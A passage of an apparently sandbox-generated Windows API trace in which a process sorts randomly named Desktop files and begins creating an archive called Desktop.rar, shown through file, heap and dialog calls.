bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="L4T8mDg3vHms9Y.xls", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.478] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="LFfk9JORsG.avi", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.478] CompareStringOrdinal (lpString1="LFfk9JORsG.avi", cchCount1=-1, lpString2="CjID.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="L4T8mDg3vHms9Y.xls", cchCount1=-1, lpString2="JhTtCfiuDFLeGwcL.bmp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="L4T8mDg3vHms9Y.xls", cchCount1=-1, lpString2="CjID.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="CjID.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="L4T8mDg3vHms9Y.xls", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="L4T8mDg3vHms9Y.xls", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="JhTtCfiuDFLeGwcL.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="jGh255P.m4a", cchCount1=-1, lpString2="HAuM_g1AD_0J.mp4", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="jGh255P.m4a", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="JhTtCfiuDFLeGwcL.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="JhTtCfiuDFLeGwcL.bmp", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="jGh255P.m4a", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="jGh255P.m4a", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount1=-1, lpString2="HAuM_g1AD_0J.mp4", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH", cchCount1=-1, lpString2="gblyrzexggw.exe", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="gblyrzexggw.exe", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="jGh255P.m4a", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="jGh255P.m4a", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="HAuM_g1AD_0J.mp4", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount1=-1, lpString2="gblyrzexggw.exe", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="gblyrzexggw.exe", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="HAuM_g1AD_0J.mp4", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="HAuM_g1AD_0J.mp4", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="gblyrzexggw.exe", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="gblyrzexggw.exe", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="gblyrzexggw.exe", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="gblyrzexggw.exe", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="CjID.mp3", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.479] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="FuvJMN.m4a", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="Fj4kdfeguFEe8WDxBVP.png", cchCount1=-1, lpString2="f7MdNo-AKV0.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="Fj4kdfeguFEe8WDxBVP.png", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="Fj4kdfeguFEe8WDxBVP.png", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="Fj4kdfeguFEe8WDxBVP.png", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.479] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="f7MdNo-AKV0.mkv", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="czSQaVnIQO 0LFtEP.flv", cchCount1=-1, lpString2="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="f7MdNo-AKV0.mkv", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="czSQaVnIQO 0LFtEP.flv", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="czSQaVnIQO 0LFtEP.flv", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="e-bHwq0LPy0uA9lpR0jp.jpg", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="czSQaVnIQO 0LFtEP.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="8ZCScAn2t4O2J7-d.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="CjID.mp3", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="CjID.mp3", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\OsbsjTTafsX31mSiaRnW.ppt", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="CjID.mp3", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="AVuWJQwE5di201z9 d.ots", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH\\2A58ceH2t.png", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="CjID.mp3", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="AVuWJQwE5di201z9 d.ots", cchCount1=-1, lpString2="4XGIZDiLaaAzBLi8uMJ.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="AVuWJQwE5di201z9 d.ots", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="dfxuFxjX5YwdPMIH", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.480] CompareStringOrdinal (lpString1="dfxuFxjX5YwdPMIH", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="CjID.mp3", cchCount1=-1, lpString2="AVuWJQwE5di201z9 d.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.480] CompareStringOrdinal (lpString1="CjID.mp3", cchCount1=-1, lpString2="0SoXJeVDMd8XB.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.481] CryptAcquireContextW (in: phProv=0x1bd630, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd630*=0x2b20f0) returned 1 [0053.958] CryptGenRandom (in: hProv=0x2b20f0, dwLen=0x10, pbBuffer=0x1bd6b0 | out: pbBuffer=0x1bd6b0) returned 1 [0053.959] CryptReleaseContext (hProv=0x2b20f0, dwFlags=0x0) returned 1 [0053.959] GetSystemTime (in: lpSystemTime=0x1bd5c8 | out: lpSystemTime=0x1bd5c8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x11, wMilliseconds=0x1be)) [0053.959] SystemTimeToFileTime (in: lpSystemTime=0x1bd5c8, lpFileTime=0x1bd5c0 | out: lpFileTime=0x1bd5c0) returned 1 [0053.959] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd5f0 | out: lpPerformanceCount=0x1bd5f0*=12929900214) returned 1 [0053.959] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x100000) returned 0x39b0040 [0053.959] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x10c0) returned 0x357e60 [0053.959] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x10c0) returned 0x370520 [0053.959] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x10000) returned 0x3715f0 [0053.959] CryptAcquireContextW (in: phProv=0x1bd630, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd630*=0x2b20f0) returned 1 [0053.960] CryptGenRandom (in: hProv=0x2b20f0, dwLen=0x10, pbBuffer=0x1bd6b0 | out: pbBuffer=0x1bd6b0) returned 1 [0053.960] CryptReleaseContext (hProv=0x2b20f0, dwFlags=0x0) returned 1 [0053.960] GetSystemTime (in: lpSystemTime=0x1bd5c8 | out: lpSystemTime=0x1bd5c8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x11, wMilliseconds=0x1ce)) [0053.960] SystemTimeToFileTime (in: lpSystemTime=0x1bd5c8, lpFileTime=0x1bd5c0 | out: lpFileTime=0x1bd5c0) returned 1 [0053.960] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd5f0 | out: lpPerformanceCount=0x1bd5f0*=12930018838) returned 1 [0053.960] CreateFileW (lpFileName="Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.960] GetLastError () returned 0x2 [0053.960] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x1ba590 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0053.960] CreateFileW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\Desktop\\Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0053.960] GetLastError () returned 0x2 [0053.960] CreateFileW (lpFileName="Desktop.rar" (normalized: "c:\\users\\whuoxysd\\desktop\\desktop.rar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0053.961] LoadStringW (in: hInstance=0x13f160000, uID=0x20d, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="Creating archive %s") returned 0x13 [0053.961] GetLastError () returned 0x0 [0053.961] SetLastError (dwErrCode=0x0) [0053.961] SetDlgItemTextW (hDlg=0x1020e, nIDDlgItem=165, lpString="Desktop.rar") returned 1 [0053.962] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1ba9c0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.962] SetWindowTextW (hWnd=0x1020e, lpString="Creating archive Desktop.rar") returned 1 [0053.962] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0053.962] GetWindowTextW (in: hWnd=0x10214, lpString=0x1b9570, nMaxCount=2560 | out: lpString="33 files found") returned 14 [0053.962] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0053.962] GetWindowTextW (in: hWnd=0x10216, lpString=0x1b9570, nMaxCount=2560 | out: lpString="") returned 0 [0053.962] GetTickCount () returned 0xa6452d [0053.962] UpdateWindow (hWnd=0x1020e) returned 1 [0053.962] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb570*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bb570*=0) returned 0x0 [0053.962] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b7c50*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b7c50*=0) returned 0x0 [0053.962] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f850 [0053.962] WriteFile (in: hFile=0x198, lpBuffer=0x1c2da0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1b62d0, lpOverlapped=0x0 | out: lpBuffer=0x1c2da0*, lpNumberOfBytesWritten=0x1b62d0*=0x8, lpOverlapped=0x0) returned 1 [0053.963] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f850 | out: hHeap=0x290000) returned 1 [0053.963] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b7c50*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b7c50*=0) returned 0x8 [0053.963] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f850 [0053.963] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f7c0 [0053.963] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f880 [0053.963] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x293f8b0 [0053.963] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f880 | out: hHeap=0x290000) returned 1 [0053.963] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f7c0 | out: hHeap=0x290000) returned 1 [0053.963] WriteFile (in: hFile=0x198, lpBuffer=0x293f853*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x1b6290, lpOverlapped=0x0 | out: lpBuffer=0x293f853*, lpNumberOfBytesWritten=0x1b6290*=0x12, lpOverlapped=0x0) returned 1 [0053.963] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f8b0 | out: hHeap=0x290000) returned 1 [0053.963] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293f850 | out: hHeap=0x290000) returned 1 [0053.963] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x60) returned 0x351280 [0053.963] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x351280 | out: hHeap=0x290000) returned 1 [0053.963] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x6328) returned 0x385600 [0053.963] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x358) returned 0x358f30 [0053.963] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x19c [0053.963] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x190 [0053.963] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x40000) returned 0x293fde0 [0053.964] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x358) returned 0x359290 [0053.964] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x1a0 [0053.964] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x1a4 [0053.964] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xe980) returned 0x297fdf0 [0053.964] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x8003) returned 0x298e780 [0053.965] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x8003) returned 0x3ac0080 [0053.965] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x358) returned 0x3595f0 [0053.966] CreateSemaphoreW (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=32, lpName=0x0) returned 0x1a8 [0053.966] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x1ac [0053.966] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x100000) returned 0x3cc0040 [0053.966] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x46c8) returned 0x2996790 [0053.967] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x4000000) returned 0x3dd0040 [0053.968] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1001011) returned 0x7de0040 [0056.622] FindFirstFileW (in: lpFileName="0SoXJeVDMd8XB.wav", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x2e1900 [0056.623] FindClose (in: hFindFile=0x2e1900 | out: hFindFile=0x2e1900) returned 1 [0056.623] CreateFileW (lpFileName="0SoXJeVDMd8XB.wav" (normalized: "c:\\users\\whuoxysd\\desktop\\0soxjevdmd8xb.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0056.623] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0056.623] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0056.623] GetTickCount () returned 0xa64f89 [0056.623] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd1d0 | out: lpPerformanceCount=0x1bd1d0*=13196364461) returned 1 [0056.623] RtlWakeAllConditionVariable (in: ConditionVariable=0x13f342dd0 | out: ConditionVariable=0x13f342dd0) [0056.623] GetLastError () returned 0x0 [0056.623] SetLastError (dwErrCode=0x0) [0056.623] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0056.624] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0056.624] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbdb0, nMaxCount=2560 | out: lpString="") returned 0 [0056.624] SetWindowTextW (hWnd=0x10218, lpString=" 0%") returned 1 [0056.768] ShowWindow (hWnd=0x1021a, nCmdShow=9) returned 0 [0056.768] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0056.769] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0056.769] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0056.769] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="33 files found") returned 14 [0056.769] SetWindowTextW (hWnd=0x10214, 